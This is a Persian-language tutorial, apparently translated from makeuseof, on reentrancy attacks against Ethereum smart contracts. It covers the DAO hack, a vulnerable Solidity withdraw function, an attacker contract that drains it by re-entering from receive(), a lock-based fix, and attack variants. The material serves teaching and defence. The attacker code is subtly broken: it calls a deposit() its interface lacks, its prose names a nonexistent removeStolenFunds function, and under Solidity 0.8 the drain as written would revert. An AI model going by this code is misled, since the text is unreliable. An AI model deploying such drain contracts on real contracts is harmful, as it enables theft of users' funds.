امنیت

آشنایی با حمله Reentrancy Attack و نحوه کارکرد آن

برخی از بزرگ‌ترین هک‌ها در صنعت بلاک چین، که در آنها میلیون‌ها دلار توکن ارزهای دیجیتال به سرقت رفت، ناشی از حملات Reentrancy Attack است. در حالی که این هک‌ها در سال‌های اخیر کمتر رایج شده‌اند، هنوز هم تهدیدی قابل توجه برای برنامه‌های بلاک چین و کاربران هستند. بنابراین دقیقاً حملات Reentrancy Attack چیست؟ آنها چگونه مستقر شده اند؟ و آیا تمهیداتی وجود دارد که توسعه دهندگان می توانند برای جلوگیری از وقوع آنها انجام دهند؟

Reentrancy Attack چیست؟

حمله Reentrancy Attack زمانی اتفاق می‌افتد که یک تابع قرارداد هوشمند آسیب‌پذیر یک تماس خارجی با یک قرارداد مخرب برقرار می‌کند و موقتاً کنترل جریان تراکنش را رها می‌کند. سپس قرارداد مخرب به طور مکرر تابع قرارداد هوشمند اصلی را قبل از پایان اجرا و در عین حال تخلیه وجوه خود فراخوانی می کند.

اساساً، تراکنش برداشت در بلاک چین اتریوم یک چرخه سه مرحله ای را دنبال می کند: تأیید موجودی، حواله و به روز رسانی موجودی. اگر یک مجرم سایبری بتواند قبل از به‌روزرسانی موجودی این چرخه را ربوده باشد، می‌تواند به طور مکرر وجوه را برداشت کند تا زمانی که کیف پول خالی شود. یکی از بدنام ترین هک های بلاک چین، هک اتریوم DAO، که توسط Coindesk پوشش داده شده، یک حمله با Reentrancy بود که منجر به از دست دادن بیش از 60 میلیون دلار از Eth شد و به طور اساسی مسیر دومین ارز دیجیتال بزرگ را تغییر داد.

حمله Reentrancy Attack چگونه کار می کند؟

بانکی را در شهر خود تصور کنید که مردم محلی با فضیلت پول خود را در آن نگهداری می کنند. کل نقدینگی آن یک میلیون دلار است. با این حال، بانک یک سیستم حسابداری معیوب دارد – کارکنان تا عصر منتظر می مانند تا موجودی بانک را به روز کنند. دوست سرمایه گذار شما از شهر بازدید می کند و نقص حسابداری را کشف می کند. او یک حساب ایجاد می کند و 100000 دلار واریز می کند. یک روز بعد، او 100000 دلار برداشت می کند.

پس از یک ساعت، او تلاش دیگری برای برداشت 100000 دلار انجام می دهد. از آنجایی که بانک موجودی وی را به روز نکرده است، هنوز 100000 دلار می خواند. بنابراین او پول می گیرد. او این کار را بارها و بارها انجام می دهد تا زمانی که پولی باقی نماند. کارکنان فقط زمانی متوجه می شوند که پولی در کار نیست. در چارچوب یک قرارداد هوشمند، فرآیند به شرح زیر است:

  1. یک مجرم سایبری یک قرارداد هوشمند “X” را با یک آسیب پذیری شناسایی می کند.
  2. مهاجم یک تراکنش قانونی را به قرارداد هدف، X، برای ارسال وجوه به یک قرارداد مخرب، “Y” آغاز می کند. در حین اجرا، Y تابع آسیب پذیر را در X فراخوانی می کند.
  3. اجرای قرارداد X متوقف می شود یا به تعویق می افتد زیرا قرارداد منتظر تعامل با رویداد خارجی است.
  4. در حالی که اجرا متوقف می شود، مهاجم بارها و بارها همان تابع آسیب پذیر را در X فراخوانی می کند، و دوباره تا آنجا که ممکن است اجرای آن را آغاز می کند.
  5. با هر بار ورود مجدد، وضعیت قرارداد دستکاری می شود و به مهاجم اجازه می دهد وجوه خود را از X به Y تخلیه کند.
  6. پس از اتمام بودجه، ورود مجدد متوقف می شود، اجرای تاخیری X در نهایت تکمیل می شود و وضعیت قرارداد بر اساس آخرین ورود مجدد به روز می شود.

به طور کلی، مهاجم با موفقیت از آسیب پذیری Reentrancy به نفع خود سوء استفاده می کند و وجوه قرارداد را می دزدد.

نمونه ای از حمله Reentrancy Attack

بنابراین دقیقاً چگونه ممکن است یک حمله مجدد Reentrancy Attack از نظر فنی هنگام استقرار رخ دهد؟ در اینجا یک قرارداد هوشمند فرضی با دروازه Reentrancy است. ما از نامگذاری بدیهی استفاده می کنیم تا دنبال کردن آن آسان تر شود.

// Vulnerable contract with a reentrancy vulnerability

pragma solidity ^0.8.0;

contract VulnerableContract {
mapping(address => uint256) private balances;

function deposit() public payable {
balances[msg.sender] += msg.value;
}

function withdraw(uint256 amount) public {
require(amount <= balances[msg.sender], "Insufficient balance");
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Transfer failed");
balances[msg.sender] -= amount;
}
}

VulnerableContract به کاربران این امکان را می دهد که با استفاده از تابع سپرده، eth را در قرارداد واریز کنند. سپس کاربران می توانند با استفاده از تابع برداشت، مبلغ واریز شده خود را برداشت کنند. با این حال، یک آسیب پذیری Reentrancy در تابع برداشت وجود دارد. هنگامی که یک کاربر انصراف می دهد، قرارداد مبلغ درخواستی را قبل از به روز رسانی موجودی به آدرس کاربر منتقل می کند و فرصتی را برای مهاجم ایجاد می کند تا از آن سوء استفاده کند. حالا، این است که قرارداد هوشمند یک مهاجم چگونه خواهد بود.

// Attacker's contract to exploit the reentrancy vulnerability

pragma solidity ^0.8.0;

interface VulnerableContractInterface {
function withdraw(uint256 amount) external;
}

contract AttackerContract {
VulnerableContractInterface private vulnerableContract;
address private targetAddress;

constructor(address _vulnerableContractAddress) {
vulnerableContract = VulnerableContractInterface(_vulnerableContractAddress);
targetAddress = msg.sender;
}

// Function to trigger the attack
function attack() public payable {
// Deposit some ether to the vulnerable contract
vulnerableContract.deposit{value: msg.value}();

// Call the vulnerable contract's withdraw function
vulnerableContract.withdraw(msg.value);
}

// Receive function to receive funds from the vulnerable contract
receive() external payable {
if (address(vulnerableContract).balance >= 1 ether) {
// Reenter the vulnerable contract's withdraw function
vulnerableContract.withdraw(1 ether);
}
}

// Function to steal the funds from the vulnerable contract
function withdrawStolenFunds() public {
require(msg.sender == targetAddress, "Unauthorized");
(bool success, ) = targetAddress.call{value: address(this).balance}("");
require(success, "Transfer failed");
}
}

هنگامی که حمله آغاز می شود:

  • AttackerContract آدرس VulnerableContract را در سازنده خود می گیرد و آن را در متغیر vulnerableContract ذخیره می کند.
  • تابع attack توسط مهاجم فراخوانی می شود و مقداری eth را با استفاده از تابع سپرده به VulnerableContract واریز می کند و سپس بلافاصله تابع برداشت VulnerableContract را فراخوانی می کند.
  • تابع withdraw در VulnerableContract مقدار eth درخواستی را قبل از به‌روزرسانی موجودی به AttackerContract مهاجم منتقل می‌کند، اما از آنجایی که قرارداد مهاجم در طول تماس خارجی متوقف می‌شود، عملکرد هنوز کامل نشده است.
  • تابع receive در AttackerContract راه اندازی می شود زیرا VulnerableContract در طول تماس خارجی، eth را به این قرارداد ارسال می کند.
  • تابع receive بررسی می کند که آیا موجودی AttackerContract حداقل 1 اتر (مقدار برداشت) است یا خیر، سپس با فراخوانی مجدد تابع برداشت، دوباره وارد VulnerableContract می شود.
  • مراحل 3 تا 5 تکرار می شود تا زمانی که VulnerableContract تمام شود و قرارداد مهاجم مقدار قابل توجهی از Eth را جمع کند.
  • در نهایت، مهاجم می تواند تابع removeStolenFunds را در AttackerContract فراخوانی کند تا تمام وجوه جمع شده در قرارداد خود را بدزدد.

بسته به عملکرد شبکه، حمله می تواند بسیار سریع اتفاق بیفتد. هنگامی که قراردادهای هوشمند پیچیده مانند هک DAO، که منجر به هارد فورک اتریوم به اتریوم و اتریوم کلاسیک شد، در طول چند ساعت انجام می شود.

نحوه جلوگیری از حمله Reentrancy Attack

برای جلوگیری از حمله Reentrancy، باید قرارداد هوشمند آسیب‌پذیر را اصلاح کنیم تا از بهترین شیوه‌ها برای توسعه قرارداد هوشمند ایمن پیروی کنیم. در این صورت باید الگوی “بررسی‌ها-اثرات-تعامل‌ها” را مانند کد زیر پیاده‌سازی کنیم.

// Secure contract with the "checks-effects-interactions" pattern

pragma solidity ^0.8.0;

contract SecureContract {
    mapping(address => uint256) private balances;
    mapping(address => bool) private isLocked;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw(uint256 amount) public {
        require(amount <= balances[msg.sender], "Insufficient balance");
        require(!isLocked[msg.sender], "Withdrawal in progress");
        
        // Lock the sender's account to prevent reentrancy
        isLocked[msg.sender] = true;

        // Perform the state change
        balances[msg.sender] -= amount;

        // Interact with the external contract after the state change
        (bool success, ) = msg.sender.call{value: amount}("");
        require(success, "Transfer failed");

        // Unlock the sender's account
        isLocked[msg.sender] = false;
    }
}

در این نسخه ثابت، ما یک نقشه isLocked را برای ردیابی اینکه آیا یک حساب خاص در حال برداشت است یا خیر، معرفی کرده ایم. هنگامی که کاربر شروع به برداشت می کند، قرارداد بررسی می کند که آیا حساب او قفل شده است (!isLocked[msg.sender])، که نشان می دهد هیچ برداشت دیگری از همان حساب در حال حاضر در حال انجام نیست.

اگر حساب قفل نشده باشد، قرارداد با تغییر حالت و تعامل خارجی ادامه می یابد. پس از تغییر حالت و تعامل خارجی، قفل حساب دوباره باز می شود و امکان برداشت در آینده را فراهم می کند.

انواع حملات بازگشت مجدد

به طور کلی، سه نوع اصلی از حملات بازگشت مجدد بر اساس ماهیت بهره برداری آنها وجود دارد.

  • حمله با ری‌انترنسی منفرد: در این مورد، عملکرد آسیب پذیری که مهاجم به طور مکرر آن را فراخوانی می کند، همان تابعی است که به دروازه ورود مجدد حساس است. حمله بالا نمونه‌ای از یک حمله با ورود مجدد است که با اجرای بررسی‌های مناسب و قفل کردن کد به راحتی می‌توان از آن جلوگیری کرد.
  • حمله کراس فانکشن: در این سناریو، یک مهاجم از یک تابع آسیب‌پذیر برای فراخوانی یک تابع متفاوت در همان قرارداد استفاده می‌کند که یک حالت مشترک با آسیب‌پذیر دارد. تابع دوم که توسط مهاجم فراخوانی می شود، تأثیر مطلوبی دارد و آن را برای بهره برداری جذاب تر می کند. این حمله پیچیده‌تر و تشخیص آن سخت‌تر است، بنابراین برای کاهش آن، بررسی‌ها و قفل‌های دقیق در عملکردهای به هم پیوسته مورد نیاز است.
  • حمله قراردادی متقابل: این حمله زمانی رخ می دهد که یک قرارداد خارجی با یک قرارداد آسیب پذیر تعامل داشته باشد. در طول این تعامل، وضعیت قرارداد آسیب‌پذیر قبل از به‌روزرسانی کامل در قرارداد خارجی فراخوانی می‌شود. معمولاً زمانی اتفاق می‌افتد که چندین قرارداد یک متغیر را به اشتراک بگذارند و برخی متغیر مشترک را به‌طور ناامن به‌روزرسانی کنند. پروتکل های ارتباطی ایمن بین قراردادها و ممیزی قراردادهای هوشمند دوره ای باید برای کاهش این حمله اجرا شوند.

حملات ری‌انترنسی می توانند به اشکال مختلف ظاهر شوند و بنابراین برای جلوگیری از هر کدام به اقدامات خاصی نیاز دارند.

منبع
makeuseof
نمایش بیشتر

نوشته های مشابه

دیدگاهتان را بنویسید

نشانی ایمیل شما منتشر نخواهد شد. بخش‌های موردنیاز علامت‌گذاری شده‌اند *

دکمه بازگشت به بالا